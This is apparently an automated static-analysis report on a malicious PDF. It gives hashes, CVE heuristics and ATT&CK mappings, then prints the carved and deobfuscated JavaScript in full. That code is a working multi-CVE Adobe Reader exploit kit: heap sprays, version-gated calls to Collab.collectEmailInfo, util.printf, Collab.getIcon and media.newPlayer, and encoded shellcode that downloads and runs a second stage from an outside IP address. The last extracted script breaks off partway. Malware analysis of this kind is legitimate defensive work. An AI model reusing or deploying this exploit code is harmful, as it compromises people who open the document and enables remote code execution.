Malicious PDF — malware analysis report

Static analysis result for SHA-256 ff8cc8b9a680179d…

MALICIOUS

PDF

12.4 KB First seen: 2026-05-09
MD5: d8e7d7bbd08e2dbabbc158fa7d3537a9 SHA-1: 0dd5d5643022f8be2bd16542a263571ab6fd8377 SHA-256: ff8cc8b9a680179d71f54e0bda8e121d72d11812531f778e5727196060a43ac8
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The sample is a PDF file that contains embedded JavaScript, which exploits multiple CVEs in Adobe Reader (CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, CVE-2008-2992). The JavaScript is designed to download and execute a second-stage payload from the URL http://66.199.229.50/w.php?f=3&e=5. The primary attack vector is exploitation of client-side vulnerabilities.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://66.199.229.50/w.php?f=3&e=5 Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11558 bytes
SHA-256: 6e3cde60198a3f65138794470f286d9e2b0ca8bd0f8fa91a4ded97675ada7a7c
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(73,65,69,1,69,51,72,51,61,61,35,11,62,52,10,51,60,2,14,44,27,27,60,2,65,48,1,46,60,2,14,75,65,48,60,2,30,75,1,46,60,2,1,15,44,46,60,2,44,44,75,65,60,2,27,46,48,18,60,2,46,18,14,35,60,2,14,35,44,18,60,2,18,48,46,18,60,2,30,18,14,35,60,2,75,27,72,48,60,2,30,27,14,35,60,2,44,44,18,14,60,2,27,27,13,35,60,2,75,1,14,35,60,2,18,44,44,48,60,2,44,44,30,46,60,2,14,72,4,48,60,2,72,75,1,1,60,2,65,65,72,18,60,2,35,14,65,65,60,2,46,18,14,35,60,2,48,44,44,18,60,2,44,15,46,27,60,2,30,75,18,27,60,2,14,30,65,35,60,2,4,46,44,46,60,2,1,46,14,75,60,2,75,72,30,75,60,2,1,35,1,15,60,2,75,72,46,48,60,2,14,35,75,27,60,2,44,48,30,75,60,2,30,46,14,35,60,2,30,14,44,75,60,2,65,75,18,44,60,2,14,35,75,27,60,2,4,18,30,27,60,2,65,75,18,44,60,2,48,15,44,44,60,2,46,72,46,15,60,2,12,13,65,48,60,2,48,75,18,44,60,2,13,35,44,44,60,2,35,1,18,65,60,2,44,14,72,18,60,2,30,46,65,4,60,2,48,72,18,14,60,2,18,13,48,35,60,2,13,12,18,44,60,2,1,35,46,18,60,2,44,35,65,72,60,2,30,75,72,65,60,2,75,1,1,27,60,2,75,1,14,35,60,2,18,44,4,46,60,2,27,27,13,13,60,2,18,48,14,35,60,2,14,13,46,35,60,2,1,48,46,27,60,2,75,46,65,65,60,2,18,48,4,46,60,2,13,14,14,35,60,2,13,13,18,44,60,2,18,46,14,35,60,2,18,44,14,35,60,2,12,35,48,75,60,2,75,15,75,1,60,2,1,35,48,44,60,2,12,13,75,44,60,2,27,14,14,35,60,2,14,18,4,18,60,2,18,48,30,13,60,2,30,46,44,44,60,2,15,27,18,44,60,2,65,44,1,35,60,2,27,14,14,35,60,2,14,35,18,14,60,2,27,12,65,30,60,2,75,15,18,75,60,2,15,14,1,14,60,2,65,65,65,65,60,2,1,4,65,65,60,2,1,14,65,15,60,2,18,18,18,18,60,2,18,18,18,18,60,2,75,18,75,14,60,2,46,18,27,12,60,2,65,65,27,14,60,2,18,18,18,18,60,2,75,18,18,18,60,2,48,18,14,44,60,2,75,18,72,15,60,2,14,35,75,75,60,2,14,35,1,48,60,2,72,18,75,1,60,2,48,44,14,44,60,2,65,65,18,75,60,2,27,14,1,44,60,2,27,1,27,65,60,2,18,18,18,18,60,2,30,75,27,14,60,2,27,48,30,4,60,2,75,46,27,13,60,2,72,27,65,65,60,2,48,46,14,44,60,2,14,35,18,14,60,2,1,14,1,14,60,2,65,65,27,72,60,2,65,65,65,65,60,2,18,4,1,35,60,2,30,4,1,35,60,2,1,48,14,72,60,2,18,72,18,46,60,2,18,18,18,18,60,2,75,48,14,13,60,2,18,48,4,46,60,2,18,46,48,30,60,2,30,4,4,46,60,2,27,30,27,75,60,2,48,30,30,44,60,2,4,46,46,46,60,2,30,27,18,46,60,2,44,44,30,4,60,2,48,30,44,4,60,2,4,46,46,46,60,2,4,18,18,14,60,2,30,44,4,13,60,2,75,44,4,18,60,2,65,14,27,14,60,2,18,18,18,18,60,2,65,65,18,18,60,2,18,48,75,27,60,2,1,14,14,35,60,2,48,15,44,44,60,2,48,30,75,72,60,2,72,13,46,46,60,2,30,30,18,18,60,2,27,4,30,18,60,2,48,30,30,46,60,2,72,13,46,46,60,2,4,1,18,75,60,2,27,48,27,46,60,2,48,27,27,48,60,2,72,13,46,46,60,2,18,18,18,15,60,2,14,12,75,15,60,2,18,46,48,72,60,2,14,14,44,18,60,2,72,13,46,46,60,2,46,72,18,46,60,2,27,12,75,72,60,2,27,12,18,18,60,2,75,44,18,18,60,2,27,12,75,30,60,2,65,65,18,18,60,2,72,46,75,27,60,2,48,18,14,75,60,2,72,27,30,75,60,2,18,18,27,12,60,2,65,65,75,44,60,2,18,46,75,27,60,2,18,18,27,12,60,2,1,35,14,44,60,2,75,44,18,48,60,2,75,27,65,65,60,2,14,44,18,46,60,2,18,48,48,44,60,2,18,4,1,35,60,2,72,44,1,35,60,2,14,18,46,30,60,2,18,18,44,65,60,2,65,12,30,75,60,2,14,18,46,30,60,2,18,18,44,65,60,2,48,46,30,75,60,2,18,18,27,12,60,2,65,1,27,12,60,2,75,27,65,65,60,2,1,14,18,14,60,2,65,1,15,48,60,2,65,65,65,65,60,2,46,1,14,1,60,2,1,48,18,1,60,2,65,1,15,14,60,2,18,1,14,12,60,2,27,65,14,15,60,2,35,13,18,72,60,2,48,12,44,44,60,2,75,35,14,12,60,2,48,27,72,35,60,2,30,15,46,27,60,2,72,12,44,27,60,2,30,18,4,65,60,2,30,46,27,14,60,2,30,18,30,46,60,2,4,65,44,12,60,2,44,27,4,65,60,2,4,1,44,27,60,2,44,15,44,72,60,2,4,1,44,15,60,2,44,4,44,4,60,2,4,1,44,15,60,2,44,18,44,75,60,2,30,30,4,65,60,2,30,18,4,1,60,2,30,18,27,14,60,2,27,27,44,65,60,2,44,44,44,13,60,2,27,75,4,27,60,2,44,75,44,13,60,2,18,18,18,18,51,24,65,2,54,48,74,73,37,54,40,1,42,26,50,69,50,12,16,70,22,61,31,49,55,73,28,1,69,50,12,20,28,1,54,52,74,55,0,4,23,70,22,61,31,50,12,8,10,50,12,24,43,50,12,10,50,12,20,62,2,35,62,74,50,73,54,52,69,18,16,70,22,59,4,61,24,50,1,74,2,50,54,40,50,12,24,43,40,65,2,54,48,74,73,37,54,40,35,36,69,61,31,26,12,50,40,13,38,52,10,54,1,49,40,66,50,50,12,22,69,61,24,26,12,50,40,26,49,10,18,36,18,48,18,48,18,48,18,48,24,26,12,50,40,12,13,13,50,10,18,36,46,18,18,18,18,18,24,26,12,50,40,45,12,22,28,37,12,13,10,2,54,1,62,48,12,45,1,69,35,11,62,52,61,24,26,12,50,40,62,48,57,28,1,54,10,45,12,22,28,37,12,13,20,28,1,54,52,74,55,0,4,24,26,12,50,40,70,22,10,12,13,13,50,53,69,62,48,57,28,1,54,8,18,36,44,14,61,24,26,12,50,40,22,12,50,62,45,10,2,54,1,62,48,12,45,1,69,58,60,2,15,18,15,18,60,2,15,18,15,18,58,61,24,22,12,50,62,45,10,1,42,26,50,69,22,12,50,62,45,16,70,22,61,24,26,12,50,40,48,37,2,54,74,4,10,69,26,49,53,18,36,46,18,18,18,18,18,61,59,12,13,13,50,24,65,37,50,69,26,12,50,40,48,37,2,54,74,10,18,24,48,37,2,54,74,23,48,37,2,54,74,4,24,48,37,2,54,74,8,8,61,31,13,38,52,34,48,37,2,54,74,7,10,22,12,50,62,45,8,45,12,22,28,37,12,13,24,43,40,26,12,50,40,37,26,1,50,65,28,37,49,10,2,54,1,62,48,12,45,1,69,58,60,2,18,48,18,48,60,2,18,48,18,48,58,61,24,49,55,73,28,1,69,37,26,1,50,65,28,37,49,20,28,1,54,52,74,55,23,46,46,15,75,4,61,31,37,26,1,50,65,28,37,49,8,10,37,26,1,50,65,28,37,49,24,43,40,74,55,73,62,20,48,37,28,28,12,35,17,74,37,50,1,10,47,37,28,28,12,35,20,48,37,28,28,1,48,74,21,41,12,73,28,29,54,65,37,69,31,62,2,35,11,67,58,58,16,41,62,52,67,37,26,1,50,65,28,37,49,43,61,24,43,40,65,2,54,48,74,73,37,54,40,45,50,73,54,74,65,69,61,31,54,37,45,10,2,54,1,62,48,12,45,1,69,58,60,2,18,66,18,66,60,2,18,66,18,66,60,2,18,66,18,66,60,2,18,66,18,66,58,61,24,26,12,50,40,45,12,22,28,37,12,13,10,2,54,1,62,48,12,45,1,69,35,11,62,52,61,24,55,1,12,45,35,28,37,48,38,10,54,37,45,8,45,12,22,28,37,12,13,24,35,73,52,35,28,37,48,38,10,2,54,1,62,48,12,45,1,69,58,60,2,18,66,18,66,60,2,18,66,18,66,58,61,24,55,1,12,13,1,50,62,73,42,1,10,4,18,24,62,45,50,12,22,10,55,1,12,13,1,50,62,73,42,1,8,55,1,12,45,35,28,37,48,38,20,28,1,54,52,74,55,24,49,55,73,28,1,69,35,73,52,35,28,37,48,38,20,28,1,54,52,74,55,23,62,45,50,12,22,61,31,35,73,52,35,28,37,48,38,8,10,35,73,52,35,28,37,48,38,24,43,40,65,73,28,28,35,28,37,48,38,10,35,73,52,35,28,37,48,38,20,62,2,35,62,74,50,73,54,52,69,18,16,62,45,50,12,22,61,24,35,28,37,48,38,10,35,73,52,35,28,37,48,38,20,62,2,35,62,74,50,73,54,52,69,18,16,35,73,52,35,28,37,48,38,20,28,1,54,52,74,55,53,62,45,50,12,22,61,24,49,55,73,28,1,69,35,28,37,48,38,20,28,1,54,52,74,55,8,62,45,50,12,22,23,18,36,46,18,18,18,18,61,31,35,28,37,48,38,10,35,28,37,48,38,8,35,28,37,48,38,8,65,73,28,28,35,28,37,48,38,24,43,40,41,1,41,10,54,1,49,40,66,50,50,12,22,69,61,24,65,37,50,69,73,10,18,24,73,23,72,46,18,18,24,73,8,8,61,31,41,1,41,34,73,7,10,35,28,37,48,38,8,55,1,12,45,35,28,37,48,38,24,43,40,26,12,50,40,54,2,41,10,72,4,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,24,2,74,73,28,20,45,50,73,54,74,65,69,58,60,46,75,18,18,18,65,58,16,54,2,41,61,24,43,40,65,2,54,48,74,73,37,54,40,52,1,74,73,48,37,54,69,61,31,26,12,50,40,12,50,50,22,10,54,1,49,40,66,50,50,12,22,69,61,24,73,65,69,12,45,45,20,13,37,48,20,47,37,28,28,12,35,20,52,1,74,29,48,37,54,61,31,26,12,50,40,45,12,22,28,37,12,13,10,2,54,1,62,48,12,45,1,69,35,11,62,52,61,24,26,12,50,40,55,39,70,75,18,18,47,9,10,45,12,22,28,37,12,13,20,28,1,54,52,74,55,0,4,24,26,12,50,40,70,22,10,18,36,46,18,18,18,18,18,53,69,55,39,70,75,18,18,47,9,8,18,36,44,14,61,24,26,12,50,40,22,12,50,62,45,10,2,54,1,62,48,12,45,1,69,58,60,2,15,18,15,18,60,2,15,18,15,18,58,61,24,22,12,50,62,45,10,1,42,26,50,69,22,12,50,62,45,16,70,22,61,24,26,12,50,40,45,75,66,11,56,27,75,65,10,69,18,36,18,48,18,48,18,48,18,48,53,18,36,46,18,18,18,18,18,61,59,18,36,46,18,18,18,18,18,24,65,37,50,69,26,12,50,40,26,70,48,63,19,15,27,22,10,18,24,26,70,48,63,19,15,27,22,23,45,75,66,11,56,27,75,65,24,26,70,48,63,19,15,27,22,8,8,61,31,12,50,50,22,34,26,70,48,63,19,15,27,22,7,10,22,12,50,62,45,8,45,12,22,28,37,12,13,24,43,40,26,12,50,40,74,6,5,55,9,35,3,49,10,2,54,1,62,48,12,45,1,69,58,60,18,15,58,61,24,49,55,73,28,1,69,74,6,5,55,9,35,3,49,20,28,1,54,52,74,55,23,18,36,46,18,18,18,61,31,74,6,5,55,9,35,3,49,8,10,74,6,5,55,9,35,3,49,24,43,40,74,6,5,55,9,35,3,49,10,58,9,20,58,8,74,6,5,55,9,35,3,49,24,12,45,45,20,13,37,48,20,47,37,28,28,12,35,20,52,1,74,29,48,37,54,69,74,6,5,55,9,35,3,49,61,24,43,43,40,12,32,28,2,52,73,54,62,10,12,45,45,20,45,28,2,52,29,54,62,24,26,12,50,40,62,26,10,45,12,50,62,1,29,54,74,69,12,45,45,20,26,73,1,49,1,50,71,1,50,62,73,37,54,20,74,37,17,74,50,73,54,52,69,61,20,48,55,12,50,66,74,69,18,61,61,24,65,37,50,69,26,12,50,40,73,10,18,24,73,23,12,32,28,2,52,73,54,62,20,28,1,54,52,74,55,24,73,8,8,61,31,73,65,69,12,32,28,2,52,73,54,62,34,73,7,20,54,12,41,1,10,10,51,21,17,48,50,73,45,74,51,61,31,26,12,50,40,28,26,10,12,32,28,2,52,73,54,62,34,73,7,20,26,1,50,62,73,37,54,24,43,43,40,73,65,69,69,28,26,10,10,15,61,25,25,69,69,62,26,10,10,14,61,68,68,69,28,26,23,10,14,20,72,4,61,61,61,31,52,1,74,73,48,37,54,69,61,24,43,1,28,62,1,40,73,65,69,28,26,10,10,30,20,72,61,31,45,50,73,54,74,65,69,61,24,43,1,28,62,1,40,73,65,69,69,69,62,26,10,10,27,61,25,25,69,62,26,10,10,30,61,61,68,68,69,28,26,23,30,20,72,72,61,61,31,35,36,69,61,24,43,1,28,62,1,40,73,65,69,69,28,26,64,10,15,20,72,61,25,25,69,28,26,23,10,15,20,4,61,25,25,69,28,26,64,10,14,20,72,44,61,25,25,69,28,26,23,10,14,20,72,30,61,61,31,65,2,54,48,74,73,37,54,40,12,69,61,31,2,74,73,28,20,45,50,73,54,74,13,69,51,45,33,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,40,67,40,22,22,22,22,72,72,72,51,16,54,1,49,40,19,12,74,1,69,61,61,24,43,26,12,50,40,55,10,12,45,45,20,45,28,2,52,29,54,62,24,65,37,50,69,26,12,50,40,65,10,18,24,65,23,55,20,28,1,54,52,74,55,24,65,8,8,61,31,73,65,69,55,34,65,7,20,54,12,41,1,10,10,51,21,17,48,50,73,45,74,51,61,31,26,12,50,40,73,10,55,34,65,7,20,26,1,50,62,73,37,54,24,43,43,40,73,65,69,69,73,64,14,20,72,4,61,68,68,69,73,23,14,20,4,61,61,31,48,10,54,1,49,40,66,50,50,12,22,69,61,24,26,12,50,40,13,10,2,54,1,62,48,12,45,1,69,51,60,2,15,18,15,18,60,2,15,18,15,18,51,61,24,26,12,50,40,1,10,2,54,1,62,48,12,45,1,69,35,11,62,52,61,24,49,55,73,28,1,69,13,20,28,1,54,52,74,55,23,10,18,36,14,18,18,18,61,31,13,8,10,13,24,43,13,10,13,20,62,2,35,62,74,50,69,18,16,18,36,14,18,18,18,53,1,20,28,1,54,52,74,55,61,24,65,37,50,69,65,10,18,24,65,23,4,15,18,18,24,65,8,8,61,31,48,34,65,7,10,13,8,1,24,43,12,69,61,24,12,69,61,24,74,50,22,31,74,55,73,62,20,41,1,13,73,12,20,54,1,49,32,28,12,22,1,50,69,54,2,28,28,61,24,43,48,12,74,48,55,69,1,61,31,43,12,69,61,24,43,43);
a=new String("*euG2MU]+N=jad89,S0D.Ey<;|v6lI7{P@[bxokW mz}3p4Ccwr'g-nhK_'/%)sQ>fA:&(qV1it5");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3852 bytes
SHA-256: 9b55884e950bc259753fe2ffb2f8d93da76774568ee4a74d4a60480d33d9123b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u333d%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3848 bytes
SHA-256: cd5b993a6014a925df84b314fa2bc09d65de1c9dbf8ee249b89d85ebdc36ad90
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u333d%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	